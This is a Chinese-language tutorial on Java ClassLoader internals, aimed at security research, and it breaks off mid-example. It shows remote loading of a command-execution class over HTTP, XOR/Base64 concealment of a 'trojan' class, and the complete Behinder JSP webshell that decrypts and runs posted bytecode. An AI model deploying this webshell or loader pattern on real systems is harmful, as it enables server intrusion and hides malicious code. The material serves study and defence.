Heihu577
- 关注
前言
ClassLoader 作为 JAVA 安全研究基础又核心的部分, 本篇文章将从0到1理解 ClassLoader, 并在理解 ClassLoader 途中融入 ClassLoader 的攻击方式, 并根据 ClassLoader 机制分析冰蝎 WEBSHELL 的运行核心逻辑, 除此之外也介绍某些 ClassLoader 在代码审计中的妙用.
ClassLoader
jvm启动的时候, 并不会一次性加载所有的class文件, 而是根据需要去动态加载. 否则一次性加载那么多jar包那么多class, 那内存将崩溃.
Java 类 && Class 文件
定义Heihu577.java文件, 内容如下:
public class Heihu577 {
public static void main(String[] args){
System.out.println("Hello World");
}
}
随后命令行执行命令:
C:\Users\Administrator\Desktop\ClassLoader>javac Heihu577.java
>> 这条命令将进行编译 Heihu577.java 文件, 生成 Heihu577.class 文件
C:\Users\Administrator\Desktop\ClassLoader>java Heihu577
Hello World
>> 这条命令将执行 Heihu577::main 方法
C:\Users\Administrator\Desktop\ClassLoader>javap -c -p -l Heihu577.class
Compiled from "Heihu577.java"
public class Heihu577 {
public Heihu577();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 1: 0
public static void main(java.lang.String[]);
Code:
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String Hello World
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
}
>> 这条命令将生成 Java 字节码, 进行反汇编的一个操作, JVM执行的其实就是如上javap命令生成的字节码。
最终可以执行Hello World, 当然, 这是一个比较基础的案例. 当然了, 这里我们提一嘴JAVA中所用的环境变量, 因为后续的学习需要用到:
C:\Users\Administrator\Desktop\ClassLoader>echo %JAVA_HOME%
>> 运行结果: D:\SoftWare\Java8
C:\Users\Administrator\Desktop\ClassLoader>echo %PATH%
>> 运行结果: C:\ProgramData\Oracle\Java\javapath;D:\SoftWare\Python3\Scripts\;D:\SoftWare\Python3\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;C:\Windows;C:\Windows\System32\OpenSSH\;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\system32;D:\SoftWare\Microsoft VS Code\bin;D:\SoftWare\VM\VmSoftWare\bin\;D:\SoftWare\phpstudy_pro\Extensions\MySQL8.0.12\bin;D:\SoftWare\Java8\bin\;D:\SoftWare\C\mingw64\bin;;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;D:\SoftWare\NodeJs\;C:\Users\Administrator\AppData\Local\Microsoft\WindowsApps;;D:\SoftWare\Microsoft VS Code\bin;D:\SoftWare\IntelliJ IDEA 2023.2.1\bin;;C:\Users\Administrator\AppData\Roaming\npm
C:\Users\Administrator\Desktop\ClassLoader>echo %CLASSPATH%
>> 运行结果: %CLASSPATH%
Java 类加载器
Java 类加载流程
Java语言系统自带有三个类加载器, 分别为如下:
BootStrap ClassLoader
Bootstrap ClassLoader: 最顶层的加载类, 主要加载核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等,其中的rt.jar包中包含了java.lang,java.io等包, 所以我们可以直接在一个干净的java环境中进行引入FileInputStream, Integer, String类等, 如图:
当然, 我们也可以通过如下代码进行查看Bootstrap ClassLoader具体扫描了哪些包:
package com.heihu577;
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = String.class.getClassLoader(); // 得到 String 这个类是由哪个 ClassLoader 加载的. 这里返回 null, 说明是被 BootStrap ClassLoader 所加载了, 我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。
String searchPath = System.getProperty("sun.boot.class.path"); // sun.boot.class.path 是 bootstrap 所扫描包的路径
System.out.println("当前扫描路径为: " + searchPath);
/*
当前扫描路径为: D:\SoftWare\Java8\jre\lib\resources.jar;D:\SoftWare\Java8\jre\lib\rt.jar;D:\SoftWare\Java8\jre\lib\sunrsasign.jar;D:\SoftWare\Java8\jre\lib\jsse.jar;D:\SoftWare\Java8\jre\lib\jce.jar;D:\SoftWare\Java8\jre\lib\charsets.jar;D:\SoftWare\Java8\jre\lib\jfr.jar;D:\SoftWare\Java8\jre\classes
*/
}
}
当然了, 除了这个固定的扫描包的规则之外, 我们还可以通过-Xbootclasspath参数增加要扫描的包,-Xbootclasspath解释如下:
-Xbootclasspath:路径 指定的路径会完全取代jdk核心的搜索路径
-Xbootclasspath/a:路径 指定的路径会append(追加)在核心搜索路径之后
-Xbootclasspath/p:路径 指定的路径会prefix(之前)在核心搜索路径之后
测试这三种结果, 再测试一个没有增加该参数的情况:
通常都使用 /a 参数, 该扫描路径有一个先后顺序问题, 当前后两个jar包中, 存在两个相同包相同名称的类时, 先被扫描到的包下的类, 将被 JVM 解析.
Ext ClassLoader
扩展的类加载器,加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。还可以加载-D java.ext.dirs选项指定的目录。
根据上面的案例, 我们进行如下操作:
随后准备如下代码:
package com.heihu577;
import org.apache.commons.dbutils.AbstractQueryRunner;
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader(); // 得到加载 AbstractQueryRunner 类的 ClassLoader
System.out.println(classLoader); // sun.misc.Launcher$ExtClassLoader@29453f44
String extDirs = System.getProperty("java.ext.dirs"); // ExtClassLoader 通过 java.ext.dirs 查看扫描路径
System.out.println(extDirs); // D:\SoftWare\Java8\jre\lib\ext;C:\WINDOWS\Sun\Java\lib\ext
}
}
可以看到, 此时classLoader则变为了ExtClassLoader所加载进来的, 当然, 我们也可以指明-D参数来修改ExtClassLoader扫描的路径, 如图:
注意: 这里图中应该改为配置dirs D:\BaiduNetdiskDownload\
最后运行结果:
sun.misc.Launcher$AppClassLoader@18b4aac2
D:\BaiduNetdiskDownload\
这种方式当然也不要随意用, 只是做环境测试.
App ClassLoader
这里我们App ClassLoader其实读取的就是我们的CLASSPATH, 当然也是我们IDEA中运行代码时所指明的参数, 准备如下代码:
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader();
System.out.println(classLoader);
String myClassPath = System.getProperty("java.class.path");
System.out.println(myClassPath);
}
}
运行结果 (包含命令行):
>> 注意运行命令中的 -classpath 参数
D:\SoftWare\Java8\bin\java.exe "-javaagent:D:\SoftWare\IntelliJ IDEA 2023.2.1\lib\idea_rt.jar=8196:D:\SoftWare\IntelliJ IDEA 2023.2.1\bin" -Dfile.encoding=UTF-8 -classpath CLASSPATH值 com.heihu577.HeihuHello
>> 运行结果
sun.misc.Launcher$AppClassLoader@18b4aac2
CLASSPATH值
进程已结束,退出代码为 0
当然了,AppClassLoader的父亲(不是父类)是ExtClassLoader:
public class HeihuHello {
public static void main(String[] args) {
ClassLoader classLoader = AbstractQueryRunner.class.getClassLoader();
System.out.println(classLoader); // sun.misc.Launcher$AppClassLoader@18b4aac2
System.out.println(classLoader.getParent()); // sun.misc.Launcher$ExtClassLoader@12a3a380
}
}
理解完这三种 ClassLoader 后, 笔者在这里准备了一个本地脚本, 用来运行并理解每次clazz.getClassLoader的返回值:
package com.heihu577;
public class Main {
public static void main(String[] args) throws ClassNotFoundException {
System.out.println("================================BootStrapClassLoader================================");
String envKey = "sun.boot.class.path";
String envValue = System.getProperty(envKey);
String bootStrapClassName = "java.lang.Integer"; // 默认在 lib\rt.jar 包中
System.out.println(envKey + " => " + envValue); // 得到 BootStrap 加载的所有 jar 包
System.out.println(bootStrapClassName + " => " + Class.forName(bootStrapClassName).getClassLoader()); // 因为是BootStrap加载, 所以这里应该返回 NULL
System.out.println("--------------------------------运行时指明参数----------------------------------");
System.out.println("-Xbootclasspath:路径 指定的路径会完全取代jdk核心的搜索路径\n" +
"-Xbootclasspath/a:路径 指定的路径会append(追加)在核心搜索路径之后\n" +
"-Xbootclasspath/p:路径 指定的路径会prefix(之前)在核心搜索路径之后");
System.out.println("================================ExtClassLoader================================");
envKey = "java.ext.dirs";
envValue = System.getProperty(envKey);
String extClassName = "com.sun.nio.zipfs.JarFileSystemProvider"; // 默认在 /lib/ext/zipfs 包中
System.out.println(envKey + " => " + envValue);
System.out.println(extClassName + " => " + Class.forName(extClassName).getClassLoader());
// 因为是 ExtClassLoader 加载, 所以是 sun.misc.Launcher$ExtClassLoader
System.out.println("--------------------------------运行时指明参数----------------------------------");
System.out.println("-Djava.ext.dirs=目录");
System.out.println("================================AppClassLoader================================");
envKey = "java.class.path";
envValue = System.getProperty(envKey);
System.out.println(envKey + " => " + envValue);
String appClassName = "lombok.Data";
System.out.println(appClassName + " => " + Class.forName(appClassName).getClassLoader());
/*
* <dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.20</version>
</dependency>
</dependencies>
* */
}
}
接下来抛出一个问题,AppClassLoader, ExtClassLoader是如何被创建的?
Launcher
上面的代码可以看到,AppClassLoader, ExtClassLoader都是属于sun.misc.Launcher类中的一个成员类, 我们看一下Launcher类的具体操作如下:
双亲委派模式
图文解释
一个类加载器查找class和resource时,是通过委托模式进行的,它首先判断这个class是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到Bootstrap ClassLoader,如果Bootstrap classloader找到了,直接返回,如果没有找到,则一级一级返回,最后到达自身去查找这些对象, 这种机制就叫做双亲委托. 具体可以参考下图:
代码解释
只有代码图不顶用, 下面我们跟进源代码进行Debug查看一下:
Bootstrap ClassLoader是由C/C++编写的,它本身是虚拟机的一部分,所以它并不是一个JAVA类,也就是无法在java代码中获取它的引用,
JVM启动时通过Bootstrap类加载器加载rt.jar等核心jar包中的class文件,之前的int.class,String.class都是由它加载。
然后呢,我们前面已经分析了,JVM初始化sun.misc.Launcher并创建Extension ClassLoader和AppClassLoader实例。
并将ExtClassLoader设置为AppClassLoader的父加载器。Bootstrap没有父加载器,但是它却可以作用一个ClassLoader的父加载器。
比如ExtClassLoader。这也可以解释之前通过ExtClassLoader的getParent方法获取为Null的现象。
使用双亲委派模式的好处则是, 我们无法去替换Java核心API, 例如:
当然, 类加载器也解决了重复加载问题.
URLClassLoader
从上面我们研究双亲委派模式时进行Debug了源代码, 可以发现的是,URLClassLoader是ExtClassLoader && AppClassLoader的父类(不是父亲),
public class Launcher {
static class ExtClassLoader extends URLClassLoader {}
static class AppClassLoader extends URLClassLoader {}
}
URLClassLoader 的作用是可以从指定的jar文件和目录中加载类和资源. 其中它有两个重要的构造方法值得我们去实现并学习:
public URLClassLoader(URL[] urls, ClassLoader parent){
// 作用: 使用指定的父加载器加载对象, 从指定的 urls 路径来查询, 并加载类
// ...
}
public URLClassLoader(URL[] urls) {
// 作用: 使用默认的父加载器 (AppClassLoader) 创建一个 ClassLoader 对象, 从指定的 urls 路径来查询, 并加载类
// ...
}
如果使用第二个构造器, 那么URLClassLoader的parent将是AppClassLoader, 我们可以通过下图解释:
使用 URLClassLoader 加载&&执行 Jar 包
首先创建一个jar包, 如下:
根据上面的代码, 我们成功创建了一个jar包, 其中, 定义了com.utils.SayHello类以及在其中定义了hi方法, 创建测试代码, 如下:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
URL[] urls = new URL[]{file.toURL()}; // 生成 URL
URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello"); // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o); // com.utils::hi~ ^_^
}
}
URLClassLoader 因为委派模式导致的 "歧义" 问题
在com.utils.SayHello项目中的pom.xml文件中引入一个Jackson, 如下:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.11.0</version> <!-- 2.11.0 中存在 getFormatGeneratorFeatures 方法 -->
</dependency>
</dependencies>
修改com.utils.SayHello::hi方法为如下内容:
public class SayHello {
public static void main(String[] args) {
System.out.println("Hi~");
}
public void hi() {
System.out.println("com.utils::hi~ ^_^ JacksonTest: " + (new JsonFactory()).getFormatGeneratorFeatures()); // 因为编译器上下文环境中存在 getFormatGeneratorFeatures (也就是编辑器使用的是2.11.0版本), 所以编译不会出错.
}
}
因为我们通过Maven增加了Jackson包, 所以我们设置在打jar包时, 一定要有提取到目标Jar (移除工件再添加工件即可), 如图:
重新定义后, 再构建项目即可.
确认打包好的内容, 存在 jackson, 如图:
在我们ClassLoader测试环境中, 在pom.xml文件声明如下选项:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.5.4</version> <!-- 2.5.4 版本不存在 getFormatGeneratorFeatures -->
</dependency>
最终测试结果:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里
URL[] urls = new URL[]{file.toURL()}; // 生成 URL
URLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
// 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类
Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o);
/*
* Caused by: java.lang.NoSuchMethodError: com.fasterxml.jackson.core.JsonFactory.getFormatGeneratorFeatures()I
at com.utils.SayHello.hi(SayHello.java:16)
... 5 more
这里会抛出异常, 因为加载类的方式是委派的, 当我们委派到 AppClassLoader 时, 加载了我们本环境中 2.5.4 的 Jackson, 而 2.5.4 的 Jackson 是不存在 getFormatGeneratorFeatures 方法的, 所以这里会报错.
* */
}
}
解决办法:
使用URLClassLoader的指明父亲的构造器, 代码如下:
public class HeihuHello {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
File file = new File("D:/MyJarTest.jar");
URL[] urls = new URL[]{file.toURL()};
URLClassLoader urlClassLoader = new URLClassLoader(urls, HeihuHello.class.getClassLoader().getParent());
// ClassLoader.getSystemClassLoader() -> 返回 AppClassLoader
// AppClassLoader -> parent -> ExtClassLoader
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
// ExtClassLoader 及其父类都找不到 Jackson 包, 随后交给我们当前的 URLClassLoader 进行扫描, 最终扫描到了已打包好的 Jackson
Object o = clazz.newInstance();
Method hi = clazz.getMethod("hi", new Class[]{});
hi.invoke(o);
}
}
URLClassLoader 远程加载 WebShell
准备如下类:
public class CMD {
/**
*
* @param cmd 要执行的命令
* @return 命令执行的结果
*/
public static String Exec(String cmd) {
try {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
byte[] myChunk = new byte[1024];
int tmp = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((tmp = is.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, tmp);
}
return new String(byteArrayOutputStream.toByteArray());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
然后打一个jar包, 开启网络服务.
准备如下代码, 测试运行结果:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")}; // 解析 jar 包
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD"); // 解析 jar 包中的 CMD.class 文件
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");
System.out.println(result); // heihubook\administrator
}
}
当然了, 也可以将CMD.class文件放入到WEB服务根目录, 如图:
随后准备如下代码:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")}; // 当成目录
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD"); // 会读取目录下的 CMD.class 类
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");
System.out.println(result); // heihubook\administrator
}
}
使用URLClassLoader,传入的地址,如果以/结尾,则会当做目录, 去这个目录下找类,否则就会将这个地址后的文件当做jar包,从jar包中找类。
当然了, 这里可以学习 ClassLoader-JSP 马的应用: https://www.freebuf.com/articles/web/323775.html
自定义 ClassLoader
ClassLoader类有如下核心方法:
loadClass(加载指定的Java类)如果自定义 ClassLoader 重写 loadClass 方法, 那么将打破双亲委派机制! 因为双亲委派机制是在 loadClass 方法上产生的.findClass(查找指定的Java类)findLoadedClass(查找JVM已经加载过的类)defineClass(定义一个Java类)如果调用到任意 ClassLoader 的 defineClass 方法, 并传入相应的字节码, 那么 JVM 便加载该类 (如果该类继承 | 实现了某个类 | 接口, 那么会先加载父类 | 接口). 唯一一点是自定义ClassLoader加载某个类时, 类包名不允许以java.打头, 否则会抛出异常.resolveClass(链接指定的Java类)
为什么需要自定义 ClassLoader
从AppClassLoader && ExtClassLoader的源代码中看到, 这两个类加载器都是遵循委派模式的, 是如下逻辑:
顶级父类加载 -> 父类加载 -> 加载不到再本地加载
那么如果我们想打破这个委派原则, 想进行如下加载逻辑:
本类加载 -> 加载不到再父类加载
其实本质也就是打破委派模式, 通过自己的想法去查找类, 该如何做呢?此时我们自定义ClassLoader登场了.
自定义步骤
编写一个类继承自ClassLoader抽象类.
复写它的
findClass()方法, 用于查找类.在
findClass()方法中调用defineClass().
public class customClassLoader extends ClassLoader {
private String baseUrl;
/**
* @param baseUrl: 可以放置我们 .class 文件所在的目录
*/
public customClassLoader(String baseUrl) {
this.baseUrl = baseUrl.replace('\\', File.separatorChar).replace('/', File.separatorChar);
}
/**
* 重写 findClass 方法,用于从特定位置加载类, 注意一定要 return defineClass(XXX);
* @param name : 接收 "包名.类名"
* @return : 返回 defineClass 的返回结果, 其中 defineClass(类名, 类的字节码, 0, 类的字节码大小) 可以加载字节码到 JVM
*/
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] b = loadClassData(name); // 已经定义好的类的字节码, 在这里我们定义了 loadClassData, 在磁盘上进行读取文件
if (b == null) {
throw new ClassNotFoundException();
}
Class<?> resClass = defineClass(name, b, 0, b.length);
if (resClass == null) {
return super.findClass(name); // 如果是 null, 那么就从父亲找
}
return resClass; // 使用 defineClass 方法来定义类
}
/**
* @param name : 传入类名称, 通过拼接父目录的形式, 找到当前类的 class 文件, 读取并返回.
* @return : 读取 class 文件内容, 并返回
*/
private byte[] loadClassData(String name) {
// 以下是一个简单的从文件系统中加载类的示例
String fileName = name.replace('.', File.separatorChar) + ".class";
File classFile =
new File(this.baseUrl, fileName);
// 替换为你的类文件路径
if (!classFile.exists()) {
return null; // 类文件不存在,返回 null
}
try (FileInputStream fis = new FileInputStream(classFile);
ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
return bos.toByteArray(); // 返回类的字节码
} catch (IOException e) {
e.printStackTrace();
return null; // 发生异常,返回 null
}
}
// 示例:使用 CustomClassLoader 加载并实例化一个类
public static void main(String[] args) throws Exception {
customClassLoader classLoader = new customClassLoader("C:\\Users\\Administrator\\IdeaProjects\\ClassLoaderStudy\\target\\classes");
Class<?> clazz = classLoader.findClass("com.bean.Hi"); // 替换为你的类名
Object instance = clazz.getDeclaredConstructor().newInstance(); // 假设类有一个无参构造方法
// ... 现在你可以使用 instance 做你想做的事情 ...
System.out.println(instance); // com.bean.Hi@45ee12a7
}
}
随后我们定义com.bean.Hi文件内容如下:
public class Hi {
public void sayHi() {
System.out.println("Hi::sayHi...");
}
}
其中加载的理解图如下:
利用 ClassLoader 对 class 文件进行加解密
准备如下工具类:
public class ToolUtils {
/**
* 将传递过来的数据, 进行每一位异或v后, 然后进行 Base64 加密操作
*
* @param data 原始数据
* @param v 异或的数字
* @return 加密后的值
*/
public static byte[] Byte2Base64(byte[] data, int v) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
}
/**
* 将传递过来的 Base64, 进行解码, 解码后对每一位异或 v
*
* @param base64 base64值
* @param v 异或的数字
* @return 解密后的数据
*/
public static byte[] Base642Byte(byte[] base64, int v) {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return byteArrayOutputStream.toByteArray();
}
}
随后进行测试:
public class Main {
public static void main(String[] args) throws IOException {
String dstFile = "C:/Windows/win.ini";
FileInputStream fis = new FileInputStream(dstFile);
byte[] data = IOUtils.readFully(fis, fis.available(), false);
System.out.println("读取 " + dstFile + " 文件, 文件内容: \n" + new String(data) + "\n---------------------------");
byte[] MiWen = ToolUtils.Byte2Base64(data, 2);
System.out.println("加密后的文件内容: \n" + new String(MiWen) + "\n---------------------------");
byte[] MingWen = ToolUtils.Base642Byte(MiWen, 2);
System.out.println("解密后的文件内容: \n" + new String(MingWen));
/*
读取 C:/Windows/win.ini 文件, 文件内容:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
---------------------------
加密后的文件内容: OSJkbXAiMzQvYGt2ImNyciJxd3JybXB2DwhZZG1sdnFfDwhZZ3p2Z2xxa21scV8PCFlvYWsiZ3p2Z2xxa21scV8PCFlka25ncV8PCFlPY2tuXw8IT0NSSz8zDwg=
---------------------------
解密后的文件内容:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
*/
}
}
那么我们在此基础之上, 进行一个开发ClassLoader的一个操作, 用来加密.class文件.
创建customClassLoader类, 定义如下:
public class customClassLoader extends ClassLoader {
public String Path;
public customClassLoader(String Path) {
this.Path = Path;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals("org.muma.myMuma")) { // 只对 org.muma.myMuma 进行操作
try {
File file = new File(this.Path);
byte[] bytes = Base642Byte(IOUtils.readFully(new FileInputStream(file), (int) file.length(), true), 2);
return defineClass(name, bytes, 0, bytes.length);
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return super.findClass(name);
}
private byte[] Base642Byte(byte[] base64, int v) {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return byteArrayOutputStream.toByteArray();
}
}
随后我们定义org.muma.myMuma, 如下:
public class myMuma {
public void getShell() {
System.out.println("myMuma::getShell~");
}
}
随后我们编写一个加密器, 专门对myMuma生成出来的class文件进行加密, 如下:
public class Encode {
public static void main(String[] args) throws IOException {
ClassLoader classLoader = Encode.class.getClassLoader(); // 这里是 AppClassLoader
InputStream is = classLoader.getResourceAsStream("org/muma/myMuma.class");
// 读取 classpath 下的 org/muma/myMuma.class 文件
byte[] classFileData = IOUtils.readFully(is, is.available(), true); // 读取到字节内容
byte[] classFileNewData = ToolUtils.Byte2Base64(classFileData, 2); // 加密字节内容
FileOutputStream fos = new FileOutputStream("D:/myMumaEnc.class");
fos.write(classFileNewData); // 将结果写入到 D:/myMumaEnc.class
fos.flush();
fos.close();
}
}
运行结束后,D:/myMumaEnc.class则是我们的加密文件.
那么我们看一下如何解密,定义&&运行如下代码:
public class Decode {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
customClassLoader customClassLoader = new customClassLoader("D:/myMumaEnc.class");
Class<?> clazz = customClassLoader.loadClass("org.muma.myMuma");
System.out.println(clazz); // class org.muma.myMuma
Object o = clazz.getDeclaredConstructor().newInstance();
Method getShell = clazz.getDeclaredMethod("getShell");
getShell.invoke(o, null); // myMuma::getShell~
}
}
当然了, 我们也可以将生成好的Base64值硬放入到我们的类加载器中, 不管查询什么类, 最终都返回我们的org.muma.myMuma, 如下:
public class MyDataClassLoader extends ClassLoader {
private String data = "yPy4vAICAjYCHQgCBAITCwIQAhEKAhYIAhcCFAUCFQUCGgMCBD5rbGt2PAMCASorVAMCBkFtZmcDAg1Oa2xnTHdvYGdwVmNgbmcDAhBObWFjblRjcGtjYG5nVmNgbmcDAgZ2amtxAwITTm1wZS1vd29jLW97T3dvYzkDAgplZ3ZRamdubgMCCFFtd3BhZ0RrbmcDAglve093b2MsaGN0Yw4CBQIKBQIbDgIYAhkDAhNve093b2M4OGVndlFqZ25ufAUCHg4CHwIcAwINbXBlLW93b2Mtb3tPd29jAwISaGN0Yy1uY2xlLU1gaGdhdgMCEmhjdGMtbmNsZS1Re3F2Z28DAgFtd3YDAhdOaGN0Yy1rbS1ScGtsdlF2cGdjbzkDAhFoY3RjLWttLVJwa2x2UXZwZ2NvAwIFcnBrbHZubAMCFypOaGN0Yy1uY2xlLVF2cGtsZTkrVAIjAgcCBAICAgICAAIDAgUCCgIDAgsCAgItAgMCAwICAgcotQIDswICAgACCAICAgQCAwICAgoCCQICAg4CAwICAgcCDgIPAgICAwIMAgoCAwILAgICNQIAAgMCAgILsAIAEAG0AgazAgICAAIIAgICCAIAAgICCAIKAgkCCQICAg4CAwICAgsCDgIPAgICAwINAgICAAIS"; // 将一整个字节码做为属性了
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.equals("org.muma.myMuma")) {
byte[] bytes = Base642Byte(this.data.getBytes(), 2);
return defineClass(name, bytes, 0, bytes.length);
}
return super.loadClass(name);
}
private byte[] Base642Byte(byte[] base64, int v) {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
for (int i = 0; i < data.length; i++) {
byte nowByte = (byte) (data[i] ^ v);
byteArrayOutputStream.write(nowByte);
}
return byteArrayOutputStream.toByteArray();
}
}
最终运行结果:
public class Test2 {
public static void main(String[] args) throws ClassNotFoundException {
MyDataClassLoader myDataClassLoader = new MyDataClassLoader();
Class<?> aClass = myDataClassLoader.loadClass("org.muma.myMuma");
System.out.println(aClass); // class org.muma.myMuma
}
}
冰蝎 WEBSHELL 核心运行逻辑
冰蝎中JSP-WEBSHELL如下:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
首先我们分析一下U这个类:
可以看到的是, 我们继承了 ClassLoader 这个类, 其中调用了父类的构造方法, 其核心目的就是将传入进来的 ClassLoader 作为 parent, 下面g方法的定义, 传入byte[]类型的数据, 最终调用到ClassLoader::defineClass方法进行加载字节码, 对于理解来说还是比较容易的, 我们只需要调用U对象的g方法, 传入恶意字节码即可执行我们恶意类中的内容.
笔者在这里进行定义一个DEMO来分析:
<%@ page import="sun.misc.BASE64Decoder" %>
<%!
class U extends ClassLoader {
// 不定义构造函数的话, 会调用 ClassLoader 无参构造器
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
